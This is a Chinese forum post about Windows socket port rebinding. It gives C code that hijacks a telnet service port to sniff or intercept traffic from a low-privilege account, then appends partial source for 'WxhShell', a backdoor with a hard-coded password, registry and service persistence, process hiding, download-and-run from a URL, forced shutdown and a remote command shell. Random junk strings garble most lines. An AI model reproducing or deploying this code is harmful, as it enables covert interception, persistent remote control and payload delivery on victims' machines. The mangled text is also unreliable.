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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mR|5$1[b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?-%(K^y4r  
]'?Ue7  
  saddr.sin_family = AF_INET; z.\r7  
OiXO<1'$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +}1zw<  
PNd'21N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  @)0  
qBcbMa9m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7.Z-  
(]\p'%A)  
  这意味着什么?意味着可以进行如下的攻击: A`JE(cIz3  
pZK 1G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;du},>T$n  
4X*U~}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &o7PB` (l  
J_7@d]0R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s3m \  
]" e'z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jUKMDl H  
yGNpx3H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }y+Qj6dP  
8m=R" %h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %.u*nM7sos  
]LZ#[xnM7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G u_\ySV/y  
$M4Z_zle)  
  #include u?fM.=/N  
  #include rm ;U' &{  
  #include j0X^,ot@m  
  #include    tY]?2u%)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q0Do B  
  int main() ;,6C&|n]w  
  { n{<}<SVY  
  WORD wVersionRequested; WEX7=^k9  
  DWORD ret; [ dVBsi  
  WSADATA wsaData; LxGD=b  
  BOOL val; |a"]@W$>  
  SOCKADDR_IN saddr; Jnd_cJ]a  
  SOCKADDR_IN scaddr; (y6q}#<  
  int err; G/FDD{y  
  SOCKET s; $:oC\K6  
  SOCKET sc; vdvnwzp!l  
  int caddsize; <XG]aYBR  
  HANDLE mt; ) 9 2(C  
  DWORD tid;   0Fon`3(^\  
  wVersionRequested = MAKEWORD( 2, 2 ); qD\9h`a  
  err = WSAStartup( wVersionRequested, &wsaData ); D iOd!8Y  
  if ( err != 0 ) { zSD_t  
  printf("error!WSAStartup failed!\n"); l,]%D  
  return -1; xRgdU+,Mj  
  } `pCy:J?d>l  
  saddr.sin_family = AF_INET; - EGZ  
   ](Wa:U}Xs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YaSBIq{z  
u6?9#L(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6'N_bNW  
  saddr.sin_port = htons(23); 'dh{q`#0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "ldd&><  
  { 0M&n3s{5I  
  printf("error!socket failed!\n"); $V`1<>4  
  return -1; ~7KH/%Z-  
  }  )sdHJ  
  val = TRUE; v X6JjE!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;b=diZE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /bo=,%wJ[  
  { Z ]  G#:  
  printf("error!setsockopt failed!\n"); 0AffD:  
  return -1; W!\%v"  
  } g9JZ#BgZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9M7P|Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =oh%-Sh:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s+fxv(,"c  
|5dNJF8;Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p&Qm[!  
  { #[x*0K-h  
  ret=GetLastError(); @ewi96  
  printf("error!bind failed!\n"); 6pS}\aD  
  return -1; 9'sZi}rT  
  } XI[n!)3  
  listen(s,2); b:~#;$g  
  while(1) w.J$(o(/  
  { tF-l=ph}`  
  caddsize = sizeof(scaddr); F5YoEWS  
  //接受连接请求 u&S0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8'zl\:@N  
  if(sc!=INVALID_SOCKET) /ivVqOo  
  { ak_y:O|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _6c/,a8;*J  
  if(mt==NULL) ke;=Vg|  
  { sUc[!S:/  
  printf("Thread Creat Failed!\n"); eHs38X  
  break; +2eri_p  
  } bfncO[Q,?  
  } /*BU5  
  CloseHandle(mt); -V~Fj~b#  
  } ;8&/JSN M  
  closesocket(s); 3V^5 4_  
  WSACleanup(); yl@Nyu  
  return 0; LprGsqr:  
  }   uK(]@H7~!c  
  DWORD WINAPI ClientThread(LPVOID lpParam) %{rb,6  
  { 5RWqHPw+  
  SOCKET ss = (SOCKET)lpParam; -R]~kGa6m<  
  SOCKET sc; H? z~V-8  
  unsigned char buf[4096]; u tkdL4G}'  
  SOCKADDR_IN saddr; -eh .Tk  
  long num; S},Cz  
  DWORD val; 4\|Q;@f  
  DWORD ret; U*yOe*>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BGj!/E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y5aPs z  
  saddr.sin_family = AF_INET; 7R79[:uwJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O9?.J,,mVh  
  saddr.sin_port = htons(23); >2),HZp^I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RR+kjK?  
  { z3L=K9)  
  printf("error!socket failed!\n"); Btzes.  
  return -1; D{\o*\TN  
  } pRE^; 4}z  
  val = 100; rf]z5;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Vz^?t:  
  { L'KKU4zj  
  ret = GetLastError(); Vfk"}k/do  
  return -1; Pke8RLg2A  
  } f2o6GC_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ge?0>UU;~  
  { [$d]U.  
  ret = GetLastError(); E24}?t^|  
  return -1; \P":V  
  } p8-$MF]] 6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  Rm)hgmZ  
  { >cmz JS  
  printf("error!socket connect failed!\n"); }TZM@{;  
  closesocket(sc); -^`s#0( y^  
  closesocket(ss); )l m7ly8a|  
  return -1; +eH`mI0f  
  } q&?hwX Z7  
  while(1) Ho*B<#&(A|  
  { +0*\q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MxX)&327  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wX6-WQR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V"K.s2U^  
  num = recv(ss,buf,4096,0); "'Gq4<&y  
  if(num>0) Ce}m$k  
  send(sc,buf,num,0); Z{l`X#':  
  else if(num==0) [X]hb7-&  
  break; c'VCCXe  
  num = recv(sc,buf,4096,0); @mg5vt!$`  
  if(num>0) &#u\@Qze  
  send(ss,buf,num,0); 37 ?X@@Z=  
  else if(num==0) q^^R|X1  
  break; CXz9bhn<4  
  } Z<AZO ^  
  closesocket(ss); d { P$}b  
  closesocket(sc); NW;_4g4qE  
  return 0 ; 6nsb)7a  
  } bW/T}FN D  
=Xid"$  
nB :iG  
========================================================== 2{ l|<'  
!h}Vz  
下边附上一个代码,,WXhSHELL @J6r;4|&  
:wRfk*Ly  
========================================================== &Y9%Y/Y  
"^{Hta  
#include "stdafx.h" wfu`(4  
Uh1UZ r  
#include <stdio.h> NgsEEPu?  
#include <string.h> \0;w7tdo  
#include <windows.h> ,d.5K*?aI  
#include <winsock2.h> `e7vSp  
#include <winsvc.h> Cl& )#  
#include <urlmon.h> mrG#ox4$  
H0lW gJmi|  
#pragma comment (lib, "Ws2_32.lib") m@D :t 5  
#pragma comment (lib, "urlmon.lib") 4XiQ8"C  
gwB0/$!4"  
#define MAX_USER   100 // 最大客户端连接数 &ns??:\+T  
#define BUF_SOCK   200 // sock buffer B2_fCSlg  
#define KEY_BUFF   255 // 输入 buffer 5BLBcw\;  
Y![ i=/  
#define REBOOT     0   // 重启 Q=[ IO,f  
#define SHUTDOWN   1   // 关机 #1}%=nAsi  
Ag(JSVY  
#define DEF_PORT   5000 // 监听端口 *h5L1Eq  
ZtGk Md$  
#define REG_LEN     16   // 注册表键长度 SjA'<ZX>TM  
#define SVC_LEN     80   // NT服务名长度 pxyFM@Z](  
p R`nQM-D  
// 从dll定义API |L}tAS`8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,PKUgL}w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +>u 8r&Jw.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U =g&c `  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _|MK0'+f  
w9gfva$&  
// wxhshell配置信息 ] ONmWo77o  
struct WSCFG { .]<iRf[\[  
  int ws_port;         // 监听端口 Y|/,*,u+  
  char ws_passstr[REG_LEN]; // 口令 m*7RC4"J  
  int ws_autoins;       // 安装标记, 1=yes 0=no g86^Z%c(k  
  char ws_regname[REG_LEN]; // 注册表键名 I>-1kFma;  
  char ws_svcname[REG_LEN]; // 服务名 |x _jpR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y<v-,b*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \l5G   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8yZs>Og?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /6 x[C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7}&vEc@w&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ck/w:i@>?  
dd6l+z  
}; R"F:(  
/;}o0 DYeW  
// default Wxhshell configuration M4d4b  
struct WSCFG wscfg={DEF_PORT, \vL{f;2J  
    "xuhuanlingzhe", nx{X^oc8e  
    1, Z)u_2e  
    "Wxhshell", ^8?px&B y:  
    "Wxhshell", o> 1+m  
            "WxhShell Service", SU~ljAF4  
    "Wrsky Windows CmdShell Service", A*]sN8  
    "Please Input Your Password: ", 6mIRa(6V  
  1, J/Ch /Sa  
  "http://www.wrsky.com/wxhshell.exe", ue!4By8T  
  "Wxhshell.exe" zx?|5=+!  
    }; zrC1/%T  
[raj: 7yQ  
// 消息定义模块 [ 4PiQyr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 3ABop  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7$"5qJ{s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 99~-TiU  
char *msg_ws_ext="\n\rExit."; 2jP(D%n  
char *msg_ws_end="\n\rQuit."; G/1V4-@  
char *msg_ws_boot="\n\rReboot..."; 1n>AN.nI  
char *msg_ws_poff="\n\rShutdown..."; JY D\VaW  
char *msg_ws_down="\n\rSave to "; {Sc*AE&Y  
dA(+02U/.  
char *msg_ws_err="\n\rErr!"; 0o 8V8 :  
char *msg_ws_ok="\n\rOK!"; j#H&~f  
M=5hp&=  
char ExeFile[MAX_PATH]; oPF n`8dQ  
int nUser = 0; 2kFP;7FO  
HANDLE handles[MAX_USER]; S'IQbHz*  
int OsIsNt; }ol<DV  
M^/ZpKeT"  
SERVICE_STATUS       serviceStatus; Gs*X> D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \LM{.g zT  
?y~"\iP  
// 函数声明 O<?.iF%  
int Install(void); M(Yt9}Z%Y  
int Uninstall(void); tRTJQ  
int DownloadFile(char *sURL, SOCKET wsh); M&rbXi.  
int Boot(int flag); _J_QB]t  
void HideProc(void); Nqbm,s  
int GetOsVer(void); 9*[!ux7h  
int Wxhshell(SOCKET wsl); S$GWY^5}{  
void TalkWithClient(void *cs); !~}@Eoii4  
int CmdShell(SOCKET sock); ,e*WJh8k[  
int StartFromService(void); msZ 3%L  
int StartWxhshell(LPSTR lpCmdLine); i6:O9Km  
MeO2 cy!5q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WG5)-;>q|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9%?a\#C  
)gxZ &n6  
// 数据结构和表定义 mk3,ke8  
SERVICE_TABLE_ENTRY DispatchTable[] = U/{#~P5s  
{ VzuU 0  
{wscfg.ws_svcname, NTServiceMain}, )JR&  
{NULL, NULL} >ZnnGX6$(  
}; %?O$xQ.<  
}Q;^C  
// 自我安装 D [K!xq  
int Install(void) G,@ Jo[e  
{ lnrs4s Km  
  char svExeFile[MAX_PATH]; `M,Gsy1h  
  HKEY key; z3|5E#m  
  strcpy(svExeFile,ExeFile); %/%TR@/  
!=vd:,  
// 如果是win9x系统,修改注册表设为自启动 N9PEn[t@  
if(!OsIsNt) { m]ALW0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *#o2b-[V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2<uBC  
  RegCloseKey(key); M4L<u,\1s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -N1X=4/fg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cx*$GaMk  
  RegCloseKey(key); o? wEX%  
  return 0; _qSVYVJ u  
    } zw%1 a 3!  
  } A7GWU{i  
} L&Pj0K-HT3  
else { hJ*#t<.<P;  
P,K^ oz}  
// 如果是NT以上系统,安装为系统服务 u 236a\:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,o6,(jJU  
if (schSCManager!=0) 0$. ;EGP  
{ O?qM=W  
  SC_HANDLE schService = CreateService )C0 y<:</  
  ( S1_):JvV  
  schSCManager, 1 o\COnt  
  wscfg.ws_svcname, E.^F:$2  
  wscfg.ws_svcdisp, 'M% uw85  
  SERVICE_ALL_ACCESS, %ERR^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 TOw4pC  
  SERVICE_AUTO_START, }_9yemP  
  SERVICE_ERROR_NORMAL, uP2Wy3`V  
  svExeFile, k$ w#:Sx  
  NULL, l +# FoN  
  NULL, e+wINW  
  NULL, mC!^`y)  
  NULL, 2%~+c|TH.)  
  NULL 7y=1\KW(  
  ); JYa3xeC;  
  if (schService!=0) d+&w7/F  
  { LTnbBh*mc  
  CloseServiceHandle(schService); +Al* MusS  
  CloseServiceHandle(schSCManager); .N  Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m/ngPeZ  
  strcat(svExeFile,wscfg.ws_svcname); }n?D#Pk,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >ToI$~84  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7J5Yzu)D  
  RegCloseKey(key); J''lOj(@  
  return 0; rVDOco+w  
    } z KNac[:  
  } O\}w&BE:h  
  CloseServiceHandle(schSCManager); ~f?brQ?  
} SBamgc  
} 5O:4-} hz  
c) _u^Dh  
return 1; :VlMszy}B3  
} i6xzHfaYG  
?fNUmk^A<  
// 自我卸载 C@9K`N[*  
int Uninstall(void) D1Q]Z63,  
{ hCB _g  
  HKEY key; cs)R8vuB)z  
/7K7o8g  
if(!OsIsNt) { 921s'"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *!`bC@E  
  RegDeleteValue(key,wscfg.ws_regname); MN_1^T5  
  RegCloseKey(key); (FSa>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #[y2nK3zF  
  RegDeleteValue(key,wscfg.ws_regname); C0H@  
  RegCloseKey(key); pzxlh(a9  
  return 0; <|VV8r93  
  } ``Rg0o  
} iy|xF~  
} 0MN)Z(Sa  
else { {&pBy  
/n3SE0Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m0JJPBp  
if (schSCManager!=0) z=qxZuFkDs  
{ 14p{V} f3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -8&P1jrI  
  if (schService!=0) [q(}~0{"-  
  { >,n K  
  if(DeleteService(schService)!=0) { [m9=e-KS$Q  
  CloseServiceHandle(schService); JUTlJyx8  
  CloseServiceHandle(schSCManager); "2`/mt Mon  
  return 0; G:Nwi=vN  
  } |kqRhR(Ei  
  CloseServiceHandle(schService); eyG[1EEU  
  } @EUvx  
  CloseServiceHandle(schSCManager); CjLiLB  
} UZu.B!4  
} 6x@4gP y[  
\|$GBU  
return 1; W7.QK/@  
} ^1X 6DH`  
hu:x,;`9H  
// 从指定url下载文件 K]ds2Kp&  
int DownloadFile(char *sURL, SOCKET wsh) b`|,rfq^AZ  
{ #6nuiSF  
  HRESULT hr; VQn]"G( `  
char seps[]= "/"; _sF Ad`  
char *token; ?1Uq ud  
char *file; pYX!l:hk  
char myURL[MAX_PATH]; h~k+!\  
char myFILE[MAX_PATH]; =_`cY^ib+  
@0iXqM#jH  
strcpy(myURL,sURL); zq]:.s  
  token=strtok(myURL,seps); DC*6=m_  
  while(token!=NULL) BU=Ta$#BZ  
  { kTo{W]9]  
    file=token; fs*OR2YG7  
  token=strtok(NULL,seps); 3y*dBw  
  } #;<dtw  
i/F ].Sag  
GetCurrentDirectory(MAX_PATH,myFILE); =[`gfw  
strcat(myFILE, "\\"); QE`u~  
strcat(myFILE, file); <Sp>uhet1  
  send(wsh,myFILE,strlen(myFILE),0); &p.7SPQ8/  
send(wsh,"...",3,0); A7TV-eWG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p.!p6ve){  
  if(hr==S_OK) zc!q a"4yM  
return 0; 9D51@b6k  
else iayxN5,  
return 1; H;RgYu2J  
WRN}>]NgQ  
} cDh\$7'b  
tD No; f  
// 系统电源模块 $ZnVs@:S  
int Boot(int flag) 9a{9|p>L  
{ > `+lEob  
  HANDLE hToken; WsR4)U/]v  
  TOKEN_PRIVILEGES tkp; Xvn \~Vr  
wO"ezQ  
  if(OsIsNt) { >TS=tK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8PvO_Gz5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QykHB k  
    tkp.PrivilegeCount = 1; ~{!,ZnO*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9,0}}3J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ms=11C  
if(flag==REBOOT) { XC\'8hL:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lsB.>NlU  
  return 0; wbh^ZMQ  
} kI/%|L%6D  
else { (.~'\@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [I%'\CI;  
  return 0; UymhBh  
} +fG~m:E  
  } (eO_]<wmky  
  else { a}7P:e*u  
if(flag==REBOOT) { i|G /x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ct}rj-L<i  
  return 0; i-Ri;E  
} T%1Kh'92  
else { $EPDa?$*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B \>W  
  return 0; gYfOa`k  
} scR+F'M  
} .;NoKO7)  
+g8uV hC  
return 1; "gq _^&  
} Vvk \ $'  
rcG-V f@  
// win9x进程隐藏模块 2T}FX4'  
void HideProc(void) E0"DHjR  
{ ,\E5et4  
*G;D u`;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v{TISgZ  
  if ( hKernel != NULL ) (JeRJ4  
  { 4t0-L]v4.*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k{pn~)xg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;q" ,Bs  
    FreeLibrary(hKernel); ,:"c"   
  } Y'M}lv$sa  
u3_AZ2-;  
return; w}Xy;0c  
} vKNxL^x  
z;[Z'_B  
// 获取操作系统版本 X>VxE/  
int GetOsVer(void) {$^Lb4O[V  
{ ({p @Ay  
  OSVERSIONINFO winfo; RaY=~g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,Y2){8#l  
  GetVersionEx(&winfo); kNTxYJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X.<2]V7!  
  return 1; |Xa|%f  
  else sK`pV8&xq  
  return 0; Q OP8{~O  
} "Kt[jV;6  
&|) (lX  
// 客户端句柄模块 MA5BTq<&  
int Wxhshell(SOCKET wsl) ;/<J& #2.  
{ O8S"B6?$~'  
  SOCKET wsh; sBD\;\I  
  struct sockaddr_in client; H1g"09?h6o  
  DWORD myID; jYJfo<  
OL)M`eVQ'  
  while(nUser<MAX_USER) |&a[@(N:zf  
{ ?$FvE4!n  
  int nSize=sizeof(client); E>6:59+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JIyIQg'5i  
  if(wsh==INVALID_SOCKET) return 1; IEJp!P,E  
B$cx '_zF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D^W?~7e ^r  
if(handles[nUser]==0) ~",,&>#[K  
  closesocket(wsh); nH]F$'rtA  
else dLI`\e<r&[  
  nUser++; )0NE_AZ?  
  } gAgP("  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7A[`%.!F6  
{,rVA(I@  
  return 0; +R?d6IjH  
} ;l6tZ]-"  
)51H\o  
// 关闭 socket |);-{=.OdQ  
void CloseIt(SOCKET wsh) SRx `m,535  
{ d^.fB+)A3  
closesocket(wsh); {|J'd+  
nUser--; _GK3]F0  
ExitThread(0); Qv@Z#  
} s8<)lO<SV.  
i%)Nn^a;T  
// 客户端请求句柄 <C9_5C e~  
void TalkWithClient(void *cs) ]o]*&[C  
{ ndIU0kq3  
X%b.]A  
  SOCKET wsh=(SOCKET)cs; xPi/nWl`|  
  char pwd[SVC_LEN]; Zu/}TS9bi  
  char cmd[KEY_BUFF]; *rk!`n&  
char chr[1]; r%/*,lLO  
int i,j; L4'FL?~I  
" '/$ZpY  
  while (nUser < MAX_USER) { 0UB,EI8   
C%csQ m  
if(wscfg.ws_passstr) { )R2BTE:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 75V?K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (fjAsbT  
  //ZeroMemory(pwd,KEY_BUFF); ~D)!zQkD  
      i=0;  TVP.)%  
  while(i<SVC_LEN) { C  +%&!Q  
%?3\gFvBo  
  // 设置超时 [J|)DUjt  
  fd_set FdRead; f: h.O# d>  
  struct timeval TimeOut; +0Rr5^8u  
  FD_ZERO(&FdRead); w8Mi: ;6  
  FD_SET(wsh,&FdRead); N'nqVYTU  
  TimeOut.tv_sec=8; ^vjN$JB  
  TimeOut.tv_usec=0; siHS@S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e:Zc-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #w4= kWJ[  
>k?/'R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MhNDf[W>  
  pwd=chr[0]; Uk02VuS  
  if(chr[0]==0xd || chr[0]==0xa) { PL#8~e;'  
  pwd=0; Xh/i5}5 t  
  break; [*j C  
  } pH%cbBm  
  i++; _ G!lQ)1  
    } /]Fs3uf  
.Y%)&  
  // 如果是非法用户,关闭 socket V6,D~7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Gh* d)  
} 6ZBg/_m  
,x?H]a)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VJX{2$L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g< cR/  
5O Ob(  
while(1) { 6EhRCl  
zn T85#]\@  
  ZeroMemory(cmd,KEY_BUFF); %($qg-x  
oQC*d}_E}  
      // 自动支持客户端 telnet标准   /vl]Oa&U  
  j=0; Tw{H+B"uVz  
  while(j<KEY_BUFF) { ={?}[E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )>atoA  
  cmd[j]=chr[0]; ,P ?TYk  
  if(chr[0]==0xa || chr[0]==0xd) { "3{xa;c  
  cmd[j]=0; \`#;J?Y|`F  
  break; `)F lb|da  
  } 22\Buk}?  
  j++; dhN[\Z%  
    } j=)Cyg3_%  
>wjWX{&?  
  // 下载文件 CJ_X:Frj)  
  if(strstr(cmd,"http://")) { V#1_jxP)Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BJk:h-m [  
  if(DownloadFile(cmd,wsh)) owTW_V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&=K+P  
  else z12[vN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >\K<q>*  
  } 5n r}5bum  
  else { kwdmw_  
h:(Jes2  
    switch(cmd[0]) { {nT !|S)$  
  l/yLSGjM  
  // 帮助 :tM|$TZ  
  case '?': { L1`^~m|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); __c:$7B/4U  
    break; t'4hWNR'  
  } fcb:LPk;  
  // 安装 MC/$:PV  
  case 'i': { gh}FZs5 P  
    if(Install()) R! ?8F4G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "uCx.Q9 ef  
    else E=w$r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?V#%^ 57p  
    break; jHBn^Nly  
    } zzuDI_,/  
  // 卸载 je.jui"  
  case 'r': { rx'},[b]3  
    if(Uninstall()) gE JmMh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); whoz^n3NE  
    else m~r^@D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #O^H? 3Q3  
    break; x2/|i? ZO  
    } ^o"9f1s5  
  // 显示 wxhshell 所在路径 N{iBVl  
  case 'p': { VZF/2d84&w  
    char svExeFile[MAX_PATH]; {gl-tRC3  
    strcpy(svExeFile,"\n\r"); ,]~iIoTi  
      strcat(svExeFile,ExeFile); :D-d`OyjG>  
        send(wsh,svExeFile,strlen(svExeFile),0); B+ GPTQSTb  
    break; \,[Qg#W$u  
    } AZorzQ]s  
  // 重启 TF|GGY i  
  case 'b': { 0gHJ%m9s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pf6rr9  
    if(Boot(REBOOT)) >9F,=63A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bv(J  T  
    else { k$}XZ,Q  
    closesocket(wsh); qDhz|a#  
    ExitThread(0); H]"Z_n_  
    } M\,0<{  
    break; }0?642 =-  
    } [f.[C5f%"'  
  // 关机 t3 *2Z u  
  case 'd': { CCp{ZH s  
